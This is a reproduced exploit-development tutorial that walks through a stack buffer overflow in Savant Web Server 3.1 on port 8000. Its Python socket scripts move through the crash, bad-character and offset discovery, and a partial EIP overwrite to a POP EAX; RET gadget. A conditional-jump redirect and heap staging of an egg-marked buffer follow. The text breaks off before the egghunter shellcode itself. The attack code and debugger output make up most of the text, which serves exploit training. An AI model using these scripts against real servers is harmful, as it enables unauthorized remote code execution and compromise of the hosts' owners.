Overcoming Space Restrictions with Egghunters in Windows Exploit Development — Savant Web Server 3.1, Syscall & SEH Egghunters, Heap Staging

Overcoming Space Restrictions with Egghunters in Windows Exploit Development — Savant Web Server 3.1, Syscall & SEH Egghunters, Heap Staging

Original text: “Overcoming Space Restrictions with Egghunters in Windows Exploit Development”Remo (@Rem01x), Remo’s Blog (posted Jun 9, 2026). Code blocks, tables, and figures below are reproduced verbatim with attribution captions.

Executive Summary

Classic stack buffer overflows on 32-bit Windows services frequently land an attacker in a constrained position: deterministic EIP control is achieved, but the crash buffer itself is far too small to hold a real second-stage payload such as a Meterpreter reverse shell. With a typical envelope of 60–120 bytes and a payload demand of 350–500 bytes, the gap cannot be closed by shellcode compression alone. This walkthrough targets Savant Web Server 3.1 on TCP/8000, a 32-bit Windows daemon vulnerable to unbounded strcpy on the URL path, and demonstrates a complete two-stage egghunter chain that bridges the space deficit using a heap-staged secondary buffer.

The exploit chain combines a partial three-byte EIP overwrite (the server appends the null high byte automatically, defeating the null-byte module base constraint) with a POP EAX; RET gadget that pivots execution through esp+4 into the HTTP method field. From there, a seven-byte XOR ECX,ECX; TEST ECX,ECX; JZ rel32 conditional jump — whose displacement nulls are supplied by the server’s pre-zeroed copy buffer — redirects flow into the 253-byte filler region where a compact egghunter sits. Two egghunter variants are built end-to-end: a 32-byte syscall-based scanner using INT 0x2E and NtAccessCheckAndAuditAlarm (with a NEG-trick to encode the Windows 10 syscall index 0x1C8 null-free), and a portable 63-byte SEH-based scanner that installs a custom _EXCEPTION_REGISTRATION_RECORD at FS:[0] and walks virtual memory via REPE SCASD until it locates the w00tw00t egg marker prefixing the heap-staged payload.

1. Introduction: The Space Problem

Every offensive practitioner who has worked through a real-world stack overflow eventually hits the same wall. Deterministic EIP control is one problem; finding 400 bytes of contiguous, bad-character-free buffer is an entirely different one. When the smashable region tops out at roughly 60 to 120 bytes and the desired payload — a staged Meterpreter, a Cobalt Strike beacon stager, or any non-trivial command-and-control loader — comfortably exceeds 350 bytes, traditional inline shellcode delivery simply does not fit. Egghunters were invented precisely for this asymmetry.

The technique splits delivery into two cooperating stages. Stage 1 is a tiny scanner stub, typically 32 to 70 bytes, that sits in the constrained crash buffer and walks the entire 32-bit virtual address space looking for a known marker. Stage 2 is the real payload, prefixed by that marker (the “egg”), staged separately in a memory region with no such size pressure — usually a heap allocation populated through a different parser path. Because the scanner discovers the marker at runtime, Stage 2 does not need a stable, predictable address. Hardcoded addresses break the moment heap layout shifts; a marker scan does not.

Windows Virtual Memory Traversal - Egghunter Payload Discovery
Figure 1.1 — Two-stage egghunter architecture. Stage 1 (egghunter stub) in constrained crash buffer scans 32-bit virtual address space. Stage 2 (shellcode) staged in heap allocation prefixed by w00tw00t egg marker. When egghunter finds marker, it jumps to payload. Source: original article.
Two-stage egghunter architecture — crash buffer with egghunter stub scans heap for egg marker
Two-stage egghunter architecture — crash buffer with egghunter stub scans heap for egg marker. Source: original article.
Virtual address space scan — egghunter walks from 0x00000000 upward, skipping unmapped pages, finding egg in heap
Figure 1.2 — Egghunter’s view of 32-bit virtual address space. Unmapped pages produce ACCESS_VIOLATION that egghunter handles safely and skips. Egg marker w00tw00t in heap allocation terminates scan. Source: original article.

2. Target: Savant Web Server 3.1

Savant Web Server 3.1 is a 32-bit Windows HTTP daemon that listens on TCP port 8000 by default. Its URL path handler uses an unbounded strcpy-style copy, so any oversized GET request overflows a stack buffer and overwrites the saved return address. From a mitigation perspective, the binary is almost a museum exhibit: there is no ASLR, no DEP, no SafeSEH, and stack cookies are absent. However, there is one critical operational constraint: the loaded module base addresses all begin with 0x00 (the canonical 0x00xxxxxx layout for non-ASLR Win32 PE images), which means every gadget address starts with a null byte. Combined with a copy routine that truncates on \x00, this forces the operator into a partial-overwrite strategy instead of writing the full four-byte address directly.

The bad-character set is short but consequential: \x00 (null terminator), \x0a (LF), \x0d (CR), \x20 (space), and \x25 (percent — URL-encoding sentinel). Every byte placed into the URL path must avoid that set, which is what shapes the entire encoding strategy for the egghunter and the gadget address.

3. Triggering the First Crash

The shortest path to a usable crash is a 260-byte filler in the URL path. The script below builds a minimal GET / request, pads it with 260 copies of A, and terminates the headers with \r\n\r\n. Sending it to a Savant instance with WinDbg attached produces a clean overwrite of EIP with 0x41414141, the textbook signature of deterministic instruction-pointer control.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler = b"A" * size
    payload = method + filler + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Initial crash script — 260 bytes of 0x41 in GET URL path
Figure 3.1 — The crash script. Five bytes of GET / precede filler so request reaches vulnerable copy routine. Source: original article.
Running exploit; script reports Evil Buffer Sent
Figure 3.2 — Script connects, sends oversized GET request, exits cleanly. Damage is internal to process. Source: original article.
WinDbg — application crashes with EIP = 0x41414141
Figure 3.3 — Application crashes and EIP is overwritten with 41414141. Confirmed reproducible stack overflow. Source: original article.

4. Analyzing the Crash

EIP holds 0x41414141 — four filler bytes — which proves the overflow is deterministic and the offset is within reach. What requires more thought is what comes after EIP is hijacked. The first inspection of the stack shows that the server, treating the input as a C string, appended a null terminator before returning, so the top of the stack contains only three usable filler bytes followed by 0x00. That detail will determine the gadget choice in the next section.

4.1 Register State at Crash

The WinDbg register window confirms the textbook outcome. EIP is full of padding bytes, and the general-purpose registers reflect post-overflow corruption. The important takeaway is not their precise values but the determinism: every run produces the same EIP overwrite, which is the prerequisite for building a stable ROP/partial-overwrite chain.

WinDbg register dump at crash; EIP = 0x41414141
Figure 4.1 — Full register state. EIP is 41414141—four padding bytes control the instruction pointer. Source: original article.

4.2 Where Does the Shellcode Land?

Dumping the stack with dds @esp L5 shows the value at the top of stack is 0x00414141 — three controlled bytes plus the appended null. Not enough room to land a shellcode directly via a JMP ESP. However, the second slot, at esp+4, holds a pointer into the controlled input region. Dereferencing it reveals the literal GET / prefix followed by the 260-byte A field. That pointer becomes the lever we will pull with a POP EAX; RET gadget to redirect execution into the buffer.

dds @esp L5 — ESP holds only 3 bytes of buffer then a null
Figure 4.2 — dds shows ESP contains 0x00414141. Only three bytes of filler survive at ESP; server appended null. Source: original article.
Stack — second entry (esp+4) holds pointer close to buffer
Figure 4.3 — Value at esp+4 is a pointer into the process image area. Source: original article.
dc poi(esp+4) — address points to GET method followed by A-buffer
Figure 4.4 — Dereferencing esp+4 shows GET / followed by 260 A bytes. Second stack slot points into controlled buffer. Source: original article.

5. Bad Character Identification

Before any address or opcode can be placed in the URL path, the operator must know which raw bytes the parser will accept verbatim. The technique is universal: send the full \x01 through \xff byte range as a contiguous block, then inspect process memory in the debugger to see which bytes were dropped, mangled, or truncated copy at. If the application does not crash at all, at least one byte in that block terminated the copy before reaching EIP.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
        b"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
        b"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
        b"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
        b"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
        b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
        b"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
        b"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
        b"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
        b"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
        b"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
        b"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
        b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
        b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
        b"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
        b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
    method  = b"GET /"
    filler  = b"A" * (size - len(badchars))
    payload = method + badchars + filler + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Bad character test script
Figure 5.1 — Script places byte range \x01–\xff before A-filler to identify which bytes break the copy. Source: original article.
Running bad-character test
Figure 5.2 — Script runs without connection error. Source: original article.
WinDbg — application does not crash; bad chars truncated the payload
Figure 5.3 — Application does not crash. At least one bad character terminated copy before reaching EIP. Source: original article.

Confirmed bad characters: \x00 \x0a \x0d \x20 \x25

6. Finding the EIP Offset

With the bad-character set known, the next step is locating the exact byte offset at which the four-byte EIP value is overwritten. The first attempt uses Metasploit’s canonical De Bruijn cyclic pattern, but in this engagement that approach is contaminated by the bad-character truncation issue, requiring a manual binary search to converge on the precise offset.

6.1 Cyclic Pattern Attempt

Metasploit’s pattern_create.rb produces a 260-byte string in which every four-byte window is unique — the textbook way to recover an offset with a single crash. Unfortunately, the pattern contains many bytes that are bad for Savant, and the copy routine terminates partway through. The result in WinDbg is unusable: EIP is overwritten by whatever bytes happened to fall into position after truncation, with no clean four-byte alignment that pattern_offset.rb can match.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"
    payload = method + filler + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Cyclic pattern script
Figure 6.1 — De Bruijn pattern script. Pattern is 260 bytes long matching target buffer. Source: original article.
Running cyclic pattern exploit
Figure 6.2 — Script delivers cyclic pattern without connection error. Source: original article.
WinDbg — crash produces unusual result; pattern does not align cleanly to EIP
Figure 6.3 — Pattern does not align cleanly to 4-byte EIP value. Several pattern bytes are bad characters and truncated, corrupting offset. Source: original article.

6.2 Manual Binary Search

The fallback is the oldest trick in the book: split the buffer into two halves filled with different characters, observe which half overwrote EIP, then recursively bisect. Send 130 A‘s followed by 130 B‘s and check EIP: if it reads 0x42424242, the offset is somewhere in the upper 130 bytes. Repeat with quarter-buffers, then eighths, until the boundary is pinned down. The process converges quickly and is immune to the cyclic-pattern truncation problem because the only bytes involved are A and B, both perfectly safe.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler  = b"A" * 130
    filler += b"B" * 130
    payload = method + filler + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
A/B split script — 130 A's followed by 130 B's
Figure 6.4 — Binary-search script. If EIP is 42424242 (B’s), offset is above 130. Source: original article.
Running A/B split exploit
Figure 6.5 — Payload delivered without errors. Source: original article.
WinDbg — EIP = 0x42424242, offset is in B region (above 130)
Figure 6.6 — EIP is 42424242. Offset is beyond byte 130. Binary search continues. Source: original article.

After several iterations the boundary converges to exactly 253 bytes of A-filler before the four-byte EIP field. A targeted verification payload sends 253 A‘s, four B‘s at the EIP slot, and pad C bytes to round out the request. WinDbg confirms EIP equals 0x42424242 with no slop, locking the offset.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler = b"A" * 253
    EIP    = b"B" * 4
    junk   = b"C" * (size - len(filler) - len(EIP))
    payload = method + filler + EIP + junk + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Script with exact 253-byte filler and 4-byte EIP marker
Figure 6.7 — Verification script. 253 A’s, four B’s at EIP, C padding. Source: original article.
Running offset verification exploit
Figure 6.8 — Targeted payload sent. Source: original article.
WinDbg — EIP = 0x42424242, full control confirmed at offset 253
Figure 6.9 — EIP is precisely 42424242. Offset confirmed: 253 bytes. Source: original article.

7. The Null-Byte Constraint and the Partial Overwrite

The 253-byte offset is locked, but writing a usable EIP value runs into the null-byte problem head-on. Every gadget address in the only available module begins with 0x00, and 0x00 is the first item on the bad-character list. A naive four-byte little-endian write would terminate the copy at the high null byte. The fix is to exploit the parser’s behavior against itself.

7.1 Module Audit

The first move is auditing the loaded modules for any with a non-null high byte that could provide unconstrained gadgets. Loading the narly WinDbg extension and running !nmod enumerates every module’s address range along with its protection flags (DEP, ASLR, SafeSEH, etc.). The result is bleak: only savant.exe is in scope, and its image base sits squarely in the 0x00xxxxxx range.

Loading narly.dll for module protection analysis
Figure 7.1 — Loading narly extension into WinDbg for module auditing. Source: original article.
!nmod output — only savant.exe; all addresses start with 0x00
Figure 7.2 — Only savant.exe available; every address begins with 0x00 (null high byte). Cannot write complete 4-byte address through buffer. Source: original article.

7.2 The Partial Overwrite Solution

The behavior observed at the very first crash — the server appending a null terminator to the copy — is the key. If only three bytes are placed at offset 253 and the request ends, the copy routine will obligingly write the fourth byte (a null) on its own. That null is the very byte we cannot send through the URL path but desperately need as the high byte of the gadget address. The constraint becomes the mechanism.

Running exploit to observe stack behavior with narly loaded
Figure 7.3 — Rerunning exploit with narly loaded. Source: original article.
WinDbg — EIP overwritten, confirming crash point
Figure 7.4 — Application crashes with B-filled EIP. Source: original article.
dds @esp L5 — null-terminated string behavior; only 3 bytes of filler at ESP
Figure 7.5 — Value at ESP is 0x00414141—three bytes of data plus null server appended. Confirms null-append behavior. Source: original article.

7.3 Performing the Partial Overwrite

The test payload sends three B bytes at offset 253 and nothing more in the EIP slot. The server completes the four-byte EIP write with its own appended 0x00. WinDbg shows EIP as 0x00424242, exactly as expected: three controlled bytes plus a server-supplied null in the high position. The technique is confirmed and ready to be paired with a real gadget address.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler = b"A" * 253
    EIP    = b"B" * 3
    # server appends \x00 as the 4th byte
    junk   = b"C" * (size - len(filler) - len(EIP))
    payload = method + filler + EIP + junk + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
3-byte partial EIP overwrite script
Figure 7.6 — Partial-overwrite script. \x42\x42\x42 at offset 253; server appends \x00. Source: original article.
Running partial overwrite
Figure 7.7 — Partial-overwrite payload delivered. Source: original article.
WinDbg — EIP = 0x00424242, null byte supplied by server
Figure 7.8 — EIP is 0x00424242. Null byte added automatically. Clean partial-overwrite confirmed. Source: original article.

8. Selecting the Gadget: POP EAX; RET

8.1 Why POP EAX; RET?

The choice of POP EAX; RET is not arbitrary. Recall that ESP points to three garbage bytes plus a null, while esp+4 holds a pointer into the controlled buffer. A plain RET would return into the garbage at ESP; we need to consume that slot first. POP EAX handles two problems at once: it removes the unwanted stack word and loads EAX with a valid (stack) address. The “valid EAX” detail matters because the bytes immediately following the RET destination in the method field will disassemble into instructions that touch EAX, and if EAX held something un-dereferenceable, the process would fault before the egghunter ever runs.

dds @esp L5 — two relevant stack entries visible
Figure 8.1 — Stack top. ESP+4 holds the pointer observed earlier. Source: original article.
dc poi(esp+4) — second stack entry points into buffer
Figure 8.2 — Dereferencing esp+4 shows controlled data. This address is where RET redirects after POP EAX. Source: original article.
dds @esp L5 — confirming esp+4 value is redirect target
Figure 8.3 — Confirming stack layout once more. Source: original article.
u — disassembly of esp+4 destination; instructions touch EAX register
Figure 8.4 — Disassembly at esp+4 shows bytes assemble as instructions that dereference EAX. POP EAX must load valid address first. Source: original article.
dds @esp + !teb — confirming esp value within stack limits
Figure 8.5 — POP EAX will load a valid stack address (within TEB StackBase/StackLimit). Source: original article.

8.2 Finding the Gadget

The opcode sequence for POP EAX; RET is the two-byte sequence \x58\xC3. nasm_shell confirms the encoding. Searching the savant.exe image with WinDbg’s s -[1]b command for that byte pair returns address 0x00418674. The low three bytes — \x74\x86\x41 — contain none of the bad characters, so the address can be written through the URL path with the trailing null supplied by the server.

nasm_shell — POP EAX = \x58, RET = \xC3
Figure 8.6 — POP EAX is \x58; RET is \xC3. Search for 58 C3 in module. Source: original article.
lm m savant — start and end address of module
Figure 8.7 — savant.exe spans 0x00400000 to ~0x00452000. Source: original article.
s -[1]b — POP EAX; RET found at 0x00418674
Figure 8.8 — POP EAX; RET located at 0x00418674. Low three bytes \x74\x86\x41 contain no bad characters. Source: original article.

8.3 Updating the Exploit

The exploit now sends pack("<L", 0x418674) for EIP; only the three low bytes traverse the wire, and the server’s null append completes the address. WinDbg’s breakpoint at 0x00418674 fires on the next run, confirming the partial overwrite. Stepping through POP EAX and RET lands execution inside the 253-byte A-filler region. The remaining task is to plant code there that jumps forward into something useful.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"GET /"
    filler = b"A" * 253
    EIP    = pack("<L", 0x418674)   # POP EAX; RET - 3 bytes written, null appended
    payload = method + filler + EIP + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Exploit updated: EIP = pack('<L', 0x418674)
Figure 8.9 — Exploit now points EIP at 0x00418674 (POP EAX; RET). Source: original article.
Breakpoint set on POP EAX; RET at 0x00418674
Figure 8.10 — Breakpoint armed at the gadget. Source: original article.
Running exploit to hit the breakpoint
Figure 8.11 — Updated exploit delivered. Three-byte gadget address written at offset 253; server appends null. Source: original article.
WinDbg — breakpoint hit at POP EAX; RET
Figure 8.12 — Breakpoint fires at 0x00418674. Partial overwrite worked; server supplied null. Source: original article.
t; t — stepped through POP EAX and RET, now in A-buffer
Figure 8.13 — Two steps later, EIP is inside the 253-byte region we control. Source: original article.
u @eip — A-buffer bytes disassembled as instructions
Figure 8.14 — Disassembly shows A-bytes as valid x86 instructions. Processor executes whatever we place there. Source: original article.
dc @eip — hex dump confirms buffer contents at EIP
Figure 8.15 — Hex dump confirms A-bytes at EIP. Need jump forward into useful shellcode. Source: original article.

9. Redirecting Execution: the Method Field

After RET consumes the second stack slot, execution lands at the address held by esp+4 — which dereferenced earlier as pointing at the start of the HTTP method bytes, the literal GET /. Those bytes will be executed as code. Since “GET /” disassembles into garbage and there is plenty of room before the A-filler, the method field becomes a free coding region for a small jump instruction that skips past the inert filler and into whatever real shellcode (the egghunter) we plant later in the 253-byte region.

9.1 Testing the Method Field

The first sanity check is whether the method bytes survive the copy verbatim. Replacing the eight characters before the trailing " /" with 0x43 bytes and inspecting memory in WinDbg confirms the method region is fully under attacker control with no bad-character constraints beyond the universal set.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /"
    filler = b"A" * 253
    EIP    = pack("<L", 0x418674)   # POP EAX; RET
    payload = method + filler + EIP + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Method field replaced with 0x43 bytes to test controllability
Figure 9.1 — HTTP method replaced with C bytes to verify controllability. Source: original article.
Running method field test
Figure 9.2 — Modified payload reaches server. Source: original article.
dds @eip — method region holds 0x43 bytes
Figure 9.3 — Method bytes are \x43 as expected. Method field fully controlled. Source: original article.

9.2 Attempting a Short Jump

The natural first attempt at forward redirection is a JMP SHORT +0x17 encoded as \xEB\x17. It is two bytes long, null-free, and a perennial favorite. Unfortunately, in this particular memory region the \xEB opcode is corrupted on its way through the copy — perhaps mangled by some pre-parsing filter the way the bad-character test surfaced. Whatever the cause, the short-jump encoding cannot be used, and an alternative null-free jump must be engineered.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method = b"\xeb\x17\x90\x90" + b" /"
    filler = b"A" * 253
    EIP    = pack("<L", 0x418674)
    payload = method + filler + EIP + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Short jump exploit — \xEB\x17 in method field
Figure 9.4 — Placing \xEB\x17\x90\x90 in method field. Source: original article.
Running short jump exploit
Figure 9.5 — Short-jump payload delivered. Source: original article.
WinDbg — \xEB is mangled in memory region; instruction invalid
Figure 9.6 — \xEB byte is corrupted in method-field memory. Short jump cannot be used here. Source: original article.

10. The Conditional Jump Trick

10.1 Theory

A conditional jump that is always taken is operationally indistinguishable from an unconditional jump but uses different opcodes. Zeroing a register with XOR ECX, ECX sets the Zero Flag; TEST ECX, ECX evaluates ECX without disturbing it and preserves ZF; JZ rel32 then fires unconditionally because ZF is already set. The encoded form of the long-displacement JE is \x0F\x84 followed by a 32-bit signed offset.

nasm_shell — XOR/TEST/JE opcodes; JE rel32 contains four null bytes
Figure 10.1 — XOR ECX,ECX=\x31\xC9; TEST ECX,ECX=\x85\xC9; JE rel32=\x0F\x84\x11\x00\x00\x00. JE has four nulls. Source: original article.

10.2 The Pre-Zeroed Memory Trick

The four-byte displacement \x11\x00\x00\x00 contains three null bytes that would normally terminate the copy. The trick is that Savant zero-initializes its destination buffer before performing the copy. The bytes beyond the end of what we send are therefore already 0x00. By writing only the first seven bytes of the seven-byte sequence (\x31\xC9\x85\xC9\x0F\x84\x11), the trailing nulls of the JE displacement come from the destination buffer’s pre-zeroed state. The constraint becomes a feature for the second time in this engagement.

10.3 Updated Exploit

The exploit now places the seven-byte sequence in the method field. Two steps after POP EAX; RET executes, the JZ fires and EIP lands inside the A-filler region. The redirect chain is complete, and any code (specifically, the upcoming egghunter) placed in the filler will run.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    # xor ecx,ecx; test ecx,ecx; jz 0x17  (7 bytes, null-free)
    method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"

    filler = b"A" * 253
    EIP    = pack("<L", 0x418674)   # POP EAX; RET
    payload = method + filler + EIP + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Conditional jump exploit — 7 bytes sent, nulls supplied by pre-zeroed memory
Figure 10.2 — Method field carries 7-byte conditional jump. Server’s pre-zeroed buffer completes instruction. Source: original article.
Running conditional jump exploit
Figure 10.3 — Updated payload sent. Source: original article.
u @eip — conditional jump instructions intact in method-field memory
Figure 10.4 — Disassembly shows XOR ECX,ECX; TEST ECX,ECX; JZ exactly as intended. Pre-zeroed bytes completed displacement. Source: original article.
t; t; dc @eip — execution jumped into A-buffer
Figure 10.5 — Two steps later, EIP has jumped into A-buffer. Redirect chain complete. Source: original article.

11. Measuring the Available Buffer Space

With the redirect chain finalized, a real arithmetic question can be answered: how many usable bytes are left for shellcode in the crash buffer? Subtracting the overhead consumed by the method field, the alignment padding, and the EIP field, WinDbg’s expression evaluator yields 0xfb — 251 bytes. A typical Meterpreter reverse-TCP payload runs 350 to 500 bytes after encoding to avoid the bad-character set, so the shortfall is roughly 150 bytes. That hard arithmetic is what makes the egghunter architecture necessary.

WinDbg — ? calculation yields 251 bytes of usable space
Figure 11.1 — WinDbg expression: 0xfb = 251 usable bytes. Source: original article.
Buffer constraint diagram — 251 bytes vs 400 bytes needed
Figure 11.2 — 251-byte budget vs. 350–500-byte Meterpreter. Space constraint motivates egghunter. Source: original article.
The space problem in numbers: Budget: 251; Typical shell: ~400; Shortfall: ~150. We cannot shrink the payload to fit. Instead, we stage the payload elsewhere and use the 251-byte window to hold a compact egghunter that finds it.

12. Staging the Secondary Buffer in the Heap

12.1 The Idea

The HTTP body, which arrives after the \r\n\r\n end-of-headers marker, is parsed by Savant into a separate buffer that lives in the process heap. Because the crash happens during URL-path processing, body parsing has already populated that heap buffer with the attacker-controlled bytes by the time control of EIP is hijacked. Two delivery channels, two different storage regions, two independent byte sets — the egghunter’s job is to find the heap buffer’s address at runtime by scanning for the egg marker.

12.2 First Attempt: Wrong Terminator

The first attempt places the egg marker and a dummy 400-byte D-buffer after a single \r\n. That is not enough to close the HTTP headers, so Savant waits for additional data instead of completing the parse and triggering the crash. The application stays alive, and no crash is produced. The fix is the proper double-CRLF terminator.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    filler    = b"A" * 253
    EIP       = pack("<L", 0x418674)
    teminator = b"\r\n"
    egg       = b"w00tw00t" + b"D" * 400
    payload   = method + filler + EIP + teminator + egg + b"\r\n\r\n"

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
First staging attempt — secondary buffer after single \r\n
Figure 12.1 — First staging attempt places egg and shellcode after single CRLF. Source: original article.
Running first staging attempt
Figure 12.2 — First staging attempt delivered. Source: original article.
WinDbg — application did not crash; request not parsed correctly
Figure 12.3 — No crash. Single \r\n does not end HTTP headers; server waits for more data. Source: original article.

12.3 Correct Terminator

Moving the egg-prefixed secondary buffer after a proper \r\n\r\n terminator solves the problem. The headers close, parsing of the body completes, the heap allocation is populated, and the URL-path copy then triggers the overflow. The crash now occurs while the secondary buffer is already resident in memory, ready to be found.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    filler    = b"A" * 253
    EIP       = pack("<L", 0x418674)
    shellcode = b"w00tw00t" + b"D" * 400
    payload   = method + filler + EIP + b"\r\n\r\n" + shellcode

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Corrected exploit — secondary buffer appended after \r\n\r\n
Figure 12.4 — Corrected script places egg and 400 D bytes after full \r\n\r\n terminator. Source: original article.
Running corrected staging exploit
Figure 12.5 — Corrected staging payload delivered. Source: original article.
WinDbg — application crashes with breakpoint hit
Figure 12.6 — Application crashes. Now search for egg marker. Source: original article.

12.4 Verifying the Secondary Buffer

